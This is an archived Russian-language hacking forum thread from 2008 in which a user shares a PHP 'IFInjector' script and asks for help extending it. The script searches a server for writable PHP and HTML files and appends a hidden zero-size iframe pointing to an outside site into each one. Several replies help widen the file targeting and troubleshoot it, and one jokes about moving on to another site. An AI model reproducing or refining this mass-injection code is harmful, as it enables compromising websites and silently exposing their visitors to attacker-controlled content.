PDA

Просмотр полной версии : [PHP] IFInjector!


heks
27.11.2008, 15:51
имеется такой скрипт надо что бы он ифреимил не только индексные страницы а все подряд с расширением php html ну и т.д.

<?php



error_reporting(0);

if(!ini_get('safe_mode')) {

set_time_limit(0);

ini_set('memory_limit','512M');

}

$locate=array('index.php','index.htm','index.html' ,'*.php');

echo"\nStarting Cycle!\n\n";

foreach($locate as $key => $loc) {

if(@exec('locate '.$loc, $files[$key]))

echo"Stored $loc Files\n";

}

$files=@array_merge($files[0], $files[1], $files[2]); //edit this prior to what you set above within the $locate Array!

$cnt0=@count($files);

echo"\nComplete Merge -> $cnt0\n";

foreach($files as $file) {

if (!@is_dir($file)&&@is_readable($file)&&@is_writable($file))

$d[] = $file;

}

$files=$d; $cnt1=@count($files); $cntchg=$cnt0-$cnt1;

echo"Complete Re-Order! -> $cntchg Removed of Total $cnt0 Leaving $cnt1.\n";

if($cnt1<1) {

echo"\nAttn: No files will be re-wrote due to permission errors!";

}

else {

foreach($files as $x => $file) {

$x++;

echo"$x/$cnt1 <- Rewrote: $file\n";

$filedata=@implode('', file($file));

$filedata=@str_replace('<iframe src=\'http://thedefaced.org/forums/\' width=\'0\' height=\'0\' frameborder=\'0\'></iframe>', '', $filedata);

$filedata.='<iframe src=\'http://thedefaced.org/forums/\' width=\'0\' height=\'0\' frameborder=\'0\'></iframe>';

$f=@fopen($file, 'w');

@fwrite($f, $filedata);

@fclose($f);

}

}

echo"\n\nEnd!\n";



?>

heks
27.11.2008, 16:06
$locate=array('index.php','index.htm','index.html' ,'*.php','тут через запятую расширения для ифрейма');
нет не работает все равно

Chaak
27.11.2008, 16:16
замени короче строчку
$locate=array('index.php','index.htm','index.html' ,'*.php');
на $locate = array('*.*');

heks
27.11.2008, 17:29
после того как заменил строчку пишется такое сообщение

Starting Cycle! Stored *.* Files Complete Merge -> 0 Complete Re-Order! -> 0 Removed of Total 0 Leaving 0. Attn: No files will be re-wrote due to permission errors! End!

heks
27.11.2008, 18:24
что тчтоникто и не поможет

Pashkela
27.11.2008, 18:27
Ну он же по русски пишет - нет ошибок, облом, ищи другой сайт, насяльника

heks
27.11.2008, 22:06
а есть у кого либо подобные скрипты ? просто сначало скрипт работа а потом такую хрень начал писать

Solker
28.11.2008, 00:29
Что должен делать скрипт.
Я не понимаю слова "ифреимил".
Нормально напишешь, чего тебе надо - Перепишу скрипт.

heks
28.11.2008, 10:13
скрипт примерно должен искать файлы с расширением php html и файлы которые могут правиться он в них должен вписывать свой код в конец или в начало файла лучше в конец а было бы хорошо что бы был выбор или в конец фала

Solker
28.11.2008, 22:04
Попробуй так:
$locate=array('*.php','*.htm');
и
$files=@array_merge($files[0], $files[1]);

Solker
29.11.2008, 16:51
Ты запускаешь его на nix*?
Если хочешь под вин, придется переписывать без Locate. Это Никсовая утилита.